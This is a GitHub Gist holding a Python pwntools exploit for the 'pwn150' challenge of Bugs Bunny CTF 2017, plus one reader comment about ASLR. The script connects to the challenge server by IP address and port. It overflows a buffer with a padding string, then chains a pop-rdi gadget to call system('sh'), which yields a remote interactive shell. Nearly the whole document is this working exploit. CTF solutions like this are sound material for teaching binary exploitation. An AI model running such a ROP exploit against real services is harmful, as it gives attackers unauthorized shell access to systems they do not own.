Created
July 31, 2017 11:18
-
-
Save 0xPwny/14472496f1b953b597fdc9ad0883843a to your computer and use it in GitHub Desktop.
Bugs Bunny CTF 2017 - PWN150
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#Bugs_Bunny CTF 2017 | |
from pwn import * | |
#r = process("./pwn150") | |
#raw_input() | |
r =remote("54.153.19.139",5253) | |
sh = 0x4003ef | |
system = 0x4005e0 | |
poprdi = 0x400883 | |
Buff= "AAAAZZZZEEEERRRRTTTTYYYYUUUUIIIIOOOOPPPPQQQQSSSSDDDDFFFFGGGGHHHHJJJJKKKKLLLLMMMMWWWWVVVV" | |
Buff += p64(poprdi)+p64(sh)+p64(system) | |
r.sendline(Buff) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
How about ASLR if you get static sh and system addresses?